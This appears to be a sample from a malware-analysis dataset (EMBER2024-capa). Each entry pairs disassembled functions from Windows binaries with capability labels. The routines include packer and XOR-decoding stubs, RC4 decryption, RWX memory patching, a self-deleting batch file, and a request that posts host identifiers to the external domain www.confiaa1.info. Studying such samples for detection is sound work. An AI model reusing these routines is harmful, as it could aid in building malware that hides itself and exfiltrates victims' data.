joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401338
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x405396], ebp
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4054d0], eax
xor eax, eax
mov dword [0x40545c], eax
mov dword [0x405460], eax
mov eax, 0x402e51
mov dword [0x405458], eax
mov eax, 0x30
mov dword [0x405450], eax
mov eax, 2
mov dword [0x405454], eax
xor eax, eax
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x405464], eax
mov dword [0x40538e], eax
mov eax, 0x11
mov dword [0x405470], eax
mov eax, str.declar
mov dword [0x405478], eax
xor eax, eax
mov dword [0x40546c], eax
mov dword [0x405468], eax
mov dword [0x40547c], eax
push 0x405450
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40538e]
push 0
push 0
push 0x1ea
push 0x208
push 0xfffff60a
push 0xfffff6d2
push 0xcf0000
push 0x4043e9
push str.declar
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x4054c4], eax
push 5
push eax
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x4054c4]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x405480]
jmp 0x401422
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x401414
mov eax, dword [0x405488]
call fcn.00402c40
ret
Function at 0x402c4f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea edx, [0x4054e8]
mov ecx, edx
mov eax, dword [edx]
inc ecx
inc ecx
inc ecx
inc ecx
mov edi, dword [ecx]
mov ecx, eax
mov eax, dword [edi]
add edi, 4
mov esi, edi
mov ebx, esi
add edi, eax
mov edx, edi
dec edx
sub ecx, eax
dec ecx
dec ecx
dec ecx
dec ecx
lea eax, [0x4054e8]
mov dword [eax], ecx
inc eax
inc eax
inc eax
inc eax
mov dword [eax], edi
push ecx
mov ch, byte [edi]
mov al, byte [0x4053c3]
jmp 0x402c90
add al, byte [esi]
xor al, ch
mov byte [edi], al
mov eax, edx
cmp esi, eax
jne 0x402c9f
mov esi, ebx
dec esi
inc esi
pop ecx
inc edi
dec ecx
jne 0x402c83
jmp 0x402cab
mov edi, esi
push 0x39
push 0x4054e8
push 0x111
push dword [0x4054c4]
call dword [sym.imp.user32.dll_SendMessageA]
mov ecx, dword [0x4054e8]
mov edi, dword [0x4054ec]
mov esi, dword [0x4054dc]
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
dec ecx
jne 0x402cd7
mov esi, dword [0x4053be]
mov ecx, dword [0x4053ba]
push ecx
add ecx, esi
mov dword [0x4054a8], ecx
pop ecx
mov eax, dword [esi]
inc esi
inc esi
nop
inc esi
inc esi
mov edi, dword [0x4054dc]
mov ebx, esi
add ebx, eax
mov dword [0x4054a4], ebx
mov edx, esi
add esi, eax
mov ecx, 0
movzx eax, byte [edx]
inc eax
cmp edx, ebx
jae 0x402d7e
cmp eax, ecx
jae 0x402d23
ret
sub eax, ecx
mov ecx, eax
test ecx, ecx
je 0x402d34
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
dec ecx
jne 0x402d2b
inc edx
mov al, byte [edx]
inc edx
movzx ecx, byte [edx]
test ecx, ecx
je 0x402d47
push ecx
mov byte [edi], al
inc edi
dec ecx
jne 0x402d40
pop ecx
inc edx
movzx eax, byte [edx]
inc cl
cmp cl, 0
jne 0x402d68
inc al
cmp al, 0
jne 0x402d60
inc edx
movzx eax, word [edx]
inc edx
inc edx
jmp 0x402d64
mov al, 0
dec al
dec cl
jmp 0x402d7a
dec cl
inc al
cmp al, 0
jne 0x402d78
inc edx
movzx eax, word [edx]
inc edx
inc edx
jmp 0x402d7a
dec al
jmp 0x402d1a
mov ecx, dword [0x4054a8]
sub ecx, esi
test ecx, ecx
je 0x402d93
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
dec ecx
jne 0x402d8a
mov edi, dword [0x4054dc]
mov dword [0x4054dc], edi
ret
Function at 0x10001050
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10017090]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x40
push 0x40
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001088
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003091
mov esp, ebp
pop ebp
ret 0xc
mov al, byte [ebp + 0x10]
mov byte [esi], al
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 0x40
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop esi
call fcn.10003091
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10001470
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x1000148e
push 0
push 0
push 0
push 0x10001160
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop ebp
ret 0xc

Function at 0x100014a0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x10001160
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x100065e1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10006620
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10006620
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10006620
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10006620
cmp dword [ecx + 0x74], 0xe
jbe 0x10006620
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100094a4
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10009541
push ebx
push esi
call fcn.1000946d
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10009401
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100094ee
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10009540
push edi
push eax
call fcn.1000a45f
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000950e
call fcn.10007f49
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000953f
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10009401
add esp, 0x20
test eax, eax
jne 0x1000952d
push edi
call fcn.10007f49
jmp 0x10009535
push ebx
call fcn.10007f49
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100097ae
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100115b8
push 0x100115b0
push str.FlsAlloc
push 0x1f
call fcn.100096ca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100097e2
push dword [ebp + 8]
mov ecx, esi
call dword [0x10010120]
call esi
jmp 0x100097e8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000982c
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100115c8
push 0x100115c0
push str.FlsGetValue
push 0x21
call fcn.100096ca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10009863
push dword [ebp + 8]
mov ecx, esi
call dword [0x10010120]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000986b
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100115d0
push 0x100115c8
push str.FlsSetValue
push 0x22
call fcn.100096ca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100098a5
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10010120]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000ef30
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000ef5d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000ef5d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
mov eax, 1
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
xor ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
mov ecx, edi
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x401582
Capabilities:
Encode data using xor

Disassembly:
dec edx
stosd dword es:[edi], eax
out dx, al
push ebp
xlatb
fisub word [edx]
in al, dx
push ds
xchg edi, eax
cmp byte [esi + 0x74], cl
sahf
movsb byte es:[edi], byte [esi]
inc ebp
cmpsb byte [esi], byte es:[edi]
mov dl, 0x36
inc eax
jl 0x40153f
xor byte [ebx + 0x7cd85f5a], bl
pop esp
jno 0x4015a7
wait
pop edx
pop edi
fdivr dword [esp + ebx*2 + 0x71]
pushal
xchg ecx, eax
fadd dword [ecx]
aas
adc byte [edi], ch
test al, 0x62
test bh, ch
adc eax, 0x5b5aef67
invalid
cmp ch, ah
insb byte es:[edi], dx
add al, 0x31
clc
loopne 0x401528
cwde
out dx, eax
lodsb al, byte [esi]
xchg ebx, eax
inc ebx
sti
ficomp word es:[edi + 0x22dec8e7]
call 0x4e78a636
je 0x401530
movsb byte es:[edi], byte [esi]
inc ebp
cmpsb byte [esi], byte es:[edi]
mov dl, 0x34
inc esi
js 0x401576
cmp bl, byte [eax + edx*4]
out 0x60, eax
pushfd
push cs
salc
mov byte [ebp + 0x15], dh
push edi
out dx, eax
out dx, eax
pop edx
pop edi
invalid
Function at 0x40220a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x310]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x310]
push str._s1.bat
push eax
call fcn.00404818
add esp, 0xc
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
push eax
push ebx
call dword [0x40eddc]
test eax, eax
je 0x40233d
lea eax, [ebp - 0x108]
push esi
push eax
lea eax, [ebp - 0x108]
push eax
call dword [0x40ed88]
test eax, eax
je 0x40233d
lea eax, [ebp - 0x108]
push esi
push eax
push ebx
call dword [0x40eddc]
lea eax, [ebp - 0x108]
push 0x40bd64
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str.:1_r_ndel___s__r_nif_exist___s__goto_1_r_ndel__a__s
push eax
call fcn.00404818
add esp, 0x14
lea eax, [ebp - 0x310]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40233d
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [0x40ed8c]
test eax, eax
je 0x40233d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x310]
push ebx
push eax
call dword [0x40ed84]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4023d3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40243d
push 2
push edi
push 0xffffffffffffffda
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
push edi
push eax
push 0x26
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40243d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call fcn.00404740
cmp eax, 0x26
pop ecx
je 0x40243d
push 0x26
push edi
push dword [ebp + 0xc]
call fcn.004047c0
add esp, 0xc
pop edi
pop esi
pop ebp
ret
Function at 0x404350
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x590
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.ws2_32.dll
call esi
push dword [0x40c0c4]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.iphlpapi.dll
mov dword [0x40ef20], eax
call esi
push dword [0x40c0c8]
push eax
call edi
push str.kernel32.dll
mov dword [0x40ef1c], eax
call esi
push dword [0x40c0cc]
push eax
call edi
mov dword [0x40ef14], eax
lea eax, [ebp - 0x190]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x404419
lea eax, [ebp - 0x590]
push 0x400
push eax
call dword [0x40ef20]
call fcn.00403bc9
call fcn.00403c71
call fcn.00403e87
mov edi, dword [ebp + 8]
xor esi, esi
push 0x1000
push esi
push edi
call fcn.004047c0
add esp, 0xc
cmp dword [0x40ff24], esi
jbe 0x404419
movzx eax, byte [esi + 0x40ef24]
push eax
push str._02x
push edi
call fcn.00404818
add esp, 0xc
inc esi
inc edi
inc edi
cmp esi, dword [0x40ff24]
jb 0x4043f8
pop edi
pop esi
leave
ret
Function at 0x40441d
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1614
call fcn.004048a0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.ws2_32.dll
call esi
push dword [0x40c0c4]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.iphlpapi.dll
mov dword [0x40ef20], eax
call esi
push dword [0x40c0c8]
push eax
call edi
push str.kernel32.dll
mov dword [0x40ef1c], eax
call esi
push dword [0x40c0cc]
push eax
call edi
mov dword [0x40ef14], eax
lea eax, [ebp - 0xe14]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x404607
mov esi, 0x400
push ebx
lea eax, [ebp - 0x1214]
push esi
push eax
call dword [0x40ef20]
call fcn.00403bc9
call fcn.00403c71
call fcn.00403e87
xor edi, edi
push esi
lea eax, [ebp - 0x884]
push edi
push eax
call fcn.004047c0
add esp, 0xc
xor ebx, ebx
cmp dword [0x40ff24], edi
jbe 0x4044fe
lea eax, [ebp - 0x884]
mov dword [ebp - 4], eax
movzx eax, byte [ebx + 0x40ef24]
push eax
push str._02x
push dword [ebp - 4]
call fcn.00404818
add dword [ebp - 4], 2
add esp, 0xc
inc ebx
cmp ebx, dword [0x40ff24]
jb 0x4044d9
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1614]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.004047c0
push 0x40
lea eax, [ebp - 0x84]
push edi
push eax
call fcn.004047c0
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call fcn.004047c0
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1614]
push eax
call fcn.0040426f
push esi
lea eax, [ebp - 0x484]
push edi
push eax
call fcn.004047c0
add esp, 0x40
lea eax, [ebp - 0x484]
push eax
call fcn.00403fb5
lea eax, [ebp - 0x484]
push eax
call fcn.00404740
mov esi, eax
lea eax, [ebp - 0xc84]
push eax
call fcn.00404740
add esi, eax
lea eax, [ebp - 0x84]
push eax
call fcn.00404740
add esi, eax
lea eax, [ebp - 0x44]
push eax
call fcn.00404740
add esi, eax
lea eax, [ebp - 0x884]
push eax
call fcn.00404740
add esi, eax
lea eax, [ebp - 0x1214]
push eax
call fcn.00404740
add esp, 0x1c
lea ecx, [ebp - 0x44]
lea eax, [esi + eax + 0x1a]
push ecx
lea ecx, [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x484]
push ecx
lea ecx, [ebp - 0xc84]
push ecx
lea ecx, [ebp - 0x884]
push ecx
lea ecx, [ebp - 0x1214]
push ecx
push eax
push str.POST__pro.asp_HTTP_1.1_r_nHost:www.confiaa1.info_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:_d_r_n_r_na1_sa2_sa3_sa4_sa6_sa7_s_r_n_r_n
push dword [ebp + 8]
call fcn.00404818
add esp, 0x24
pop ebx
pop edi
pop esi
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..rdata
nop
mov ebx, 0x40de38
nop
mov ecx, 0x2d8a7c18
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x271a0303
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x40de38
mov ecx, 0x23aa00aa
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x71576004
nop
nop
nop
nop
nop
test eax, eax
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x418], 0
xor eax, eax
mov word [ebp - 0x414], ax
push 0x206
push 0
lea ecx, [ebp - 0x412]
push ecx
call fcn.004096e0
add esp, 0xc
xor edx, edx
mov word [ebp - 0x20c], dx
push 0x206
push 0
lea eax, [ebp - 0x20a]
push eax
call fcn.004096e0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov edx, 2
shl edx, 1
mov dword [ebp - 0x41c], edx
cmp dword [ebp - 0x41c], 0x208
jae 0x401088
jmp 0x40108d
call fcn.00405b5f
xor eax, eax
mov ecx, dword [ebp - 0x41c]
mov word [ebp + ecx - 0x414], ax
push 0x418628
lea edx, [ebp - 0x414]
push edx
push 0x41866c
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4010df
mov edx, dword [ebp - 0x418]
or edx, 1
mov dword [ebp - 0x418], edx
push 0x418678
lea eax, [ebp - 0x414]
push eax
push 0x4186c0
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401121
mov eax, dword [ebp - 0x418]
or eax, 2
mov dword [ebp - 0x418], eax
push 0x4186d8
lea ecx, [ebp - 0x414]
push ecx
push 0x4186cc
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401163
mov ecx, dword [ebp - 0x418]
or ecx, 4
mov dword [ebp - 0x418], ecx
push 0x418730
lea edx, [ebp - 0x414]
push edx
push 0x418724
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4011a8
mov edx, dword [ebp - 0x418]
or edx, 0x100
mov dword [ebp - 0x418], edx
push 0x418790
lea eax, [ebp - 0x414]
push eax
push 0x418784
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4011ec
mov eax, dword [ebp - 0x418]
or eax, 0x200
mov dword [ebp - 0x418], eax
push 0x4187f0
lea ecx, [ebp - 0x414]
push ecx
push 0x4187e4
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401231
mov ecx, dword [ebp - 0x418]
or ecx, 0x400
mov dword [ebp - 0x418], ecx
mov edx, dword [ebp - 0x418]
or edx, 0x2000000
mov dword [ebp - 0x418], edx
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405a1a
mov esp, ebp
pop ebp
ret